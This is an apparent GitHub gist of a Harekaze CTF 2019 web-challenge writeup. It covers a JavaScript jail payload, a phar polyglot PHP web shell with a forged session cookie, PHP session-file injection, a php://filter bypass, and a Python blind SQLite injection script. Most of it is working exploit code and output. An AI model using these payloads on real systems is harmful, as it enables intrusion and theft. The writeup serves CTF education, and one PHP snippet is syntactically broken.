Skip to content

Instantly share code, notes, and snippets.

@abdilahrf
Forked from stypr/a-z.md
Created April 27, 2020 13:27
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save abdilahrf/1575f0c51419cc45b7fc0df02f3db161 to your computer and use it in GitHub Desktop.
Harekaze CTF 2019 WEB Writeup (Yokosuka Hackers)

A-z

Simple JS Jail challenge.

It is run on context, so we have nothing but to play with constructor and console.

1337 === eval(our_input)

so what we need to make is

1337 === int(str(int(1)).concat(3).concat(3).concat(7))
constructor.length.constructor = Integer object
constructor.name.constructor = String object
constructor.constructor.length = 1
console.dir.name.length => "dir".length = 3
console.context.name.length => "context".length = 7

Final payload

constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))

Avatar1

  1. bypass finfo and bypass image size
  2. Upload 0x10 header of PNG, size bypassed. Payload: https://up.harold.kim/cvTUpPhrieW54Anu
  3. Flag: HarekazeCTF{seikai_wa_hitotsu!janai!!}

Avatar2

  1. We take the first file payload and save it into a.png.
  2. Generate exploit phar file for attack.
<?php
    $a = fread(fopen("a.png","rb"), filesize("a.png")) . str_repeat("\x00", 32);
    $phar = new Phar('exploit.phar');
    $phar->startBuffering();
    $phar->addFromString('exploit.css', '<?php @var_dump($_GET[1]($_GET[2])); ?>');
    $phar->setStub($a . '<?php __HALT_COMPILER(); ? >');
    //$phar->setMetadata($obj);
    $phar->stopBuffering();
?>
  1. Upload generated phar file. http://153.127.202.154:1002/uploads/64f3139f.png
  2. upload flag1
  3. You receive session with flag1 on flash.

session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9fQ.JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX

Now we modify theme with uploaded file from (3) {"name":"STYPRSTYPRSTYPRA","flash":{"type":"error","message":"What happened...? OK, the flag for part 1 is: <code>HarekazeCTF{seikai_wa_hitotsu!janai!!}<\/code>"}, "theme": "phar://./uploads/64f3139f.png/exploit"}

  1. This works due to the crypt() with default bcrypt spec., the check size is limited. Considering that we have a long secret, we can just add the plaintext at the end of session text and password_verify is bypassed.
$a = password_hash(str_repeat("A"*128, PASSWORD_BCRYPT);
var_dump(password_verify(str_repeat("A"*256), $a)); // true, because it only checks first 128 byte
  1. Set cookie.

document.cookie="session=eyJuYW1lIjoiU1RZUFJTVFlQUlNUWVBSQSIsImZsYXNoIjp7InR5cGUiOiJlcnJvciIsIm1lc3NhZ2UiOiJXaGF0IGhhcHBlbmVkLi4uPyBPSywgdGhlIGZsYWcgZm9yIHBhcnQgMSBpczogPGNvZGU-SGFyZWthemVDVEZ7c2Vpa2FpX3dhX2hpdG90c3UhamFuYWkhIX08XC9jb2RlPiJ9LCAidGhlbWUiOiAicGhhcjovLy4vdXBsb2Fkcy82NGYzMTM5Zi5wbmcvZXhwbG9pdCJ9" +".JDJ5JDEwJHA1dWg0Njlia2N5bjZvL1p6aVdKNnVrQUxTckJKLkQwelVmUG1qTTZ2akVpc3hLNDFFU0hX";

  1. access http://153.127.202.154:1002/?1=system&2=cat+/flag2-dea5b73356499c78
...
vertical-align: middle;
}
/* light/dark.css */
HarekazeCTF{lfi_with_phar_is_fun}
string(33) "HarekazeCTF{lfi_with_phar_is_fun}"
/**/
    </style>
...

I thought too deep, instead I also bypassed with zip:// too. orz

Easy-notes

At the time of solving I was not able to connect to the server, so I contacted st98san to check the challenge with my payload and give us the flag.

Exploit: https://up.harold.kim/8IjbTNzYePucQG9l

Exploit Method

This challenge is about the problem that can cause, when session files and uploaded files are in same directory.

To exploit this challenge, we need to export the data with the PHP session filename format and load the session from Cookie.

  1. login as -> sess_imouto, to create session file during export. PHP session files start with sess_.
  2. add_note -> title: dummy|s:1:"d";user|s:6:"imouto";admin|b:1; / content: kawaii. Content is not required.
  3. run /export.php?type=.ok -> due to str_replace function, str_replace("..", "", "/var/www/tmp/sess_imouto-(rand)." . ".ok");
  4. you get the filename from the /export.php response, so we take out the filename.
  5. run index.php?page=flag with Cookie: PHPSESSID=xyz where xyz is the filename retrieved from (4).

Encode-decode

Very simple. We can use \u escapes per JSON specification. so we can bypass filters and load the flag file.

root@imouto-router:~# curl -v "http://problem.harekaze.com:10001/query.php" -d '{"page": "\u0070hp://filter/convert.base64-encode/resource=/\u0066lag"}'
*   Trying 133.242.238.121...
* TCP_NODELAY set
* Connected to problem.harekaze.com (133.242.238.121) port 10001 (#0)
> POST /query.php HTTP/1.1
> Host: problem.harekaze.com:10001
> User-Agent: curl/7.58.0
> Accept: */*
> Content-Length: 71
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 71 out of 71 bytes
< HTTP/1.1 200 OK
< Date: Sat, 18 May 2019 08:15:23 GMT
< Server: Apache/2.4.25 (Debian)
< X-Powered-By: PHP/7.3.5
< Content-Length: 66
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host problem.harekaze.com left intact
{"content":"SGFyZWthemVDVEZ7dHVydXRhcmFfdGF0dGF0dGFfcml0dGF9Cg=="}```

SQLite_vote

shpik san, safflower san, ptr-yudai san and I were on this challenge.

we were able to retrieve some part of the flag, but we didn't have much time to finish this challenge.

it is basically error-based blind sql injection on SQLite. since there were many patches on sqlite module, we had to find some new payloads to attack the service.

import requests
import readline

url = "http://mashiro.com/sqlite-voting/vote.php"
url = "http://153.127.202.154:1004/vote.php"
def rr(payload):
    global url
    data = {"id":payload}
    r = requests.post(url,data=data)
    return r.text

length = 38
'''
for i in range(150,155):
    query = "((select(length(hex(hex(flag))))from(flag))between(%d)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(i,i)
    t = rr(query)
    print 'try : ',i,t
    if 'error' in t:
        length = i
        break
'''
#print 'length is ',i
# length = 38


flag = '343836313732363536623631376136353433353434363762'
flag = '343836313732363536423631374136353433353434363742'
for i in range(151-len(flag),-1,-1):
    for k in range(0,10):
        query = "((select(length(trim(hex(hex(flag)),%s)))from(flag))between(1)and(%d))and(select(sum(a))from(select(2305843009213693953)a,(id)from(vote))a)"%(flag+str(k),i)
        t = rr(query)
        print 'try:',i, k ,query
        if 'error' in t:
            flag += str(k)
            print 'now : ', flag
            break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment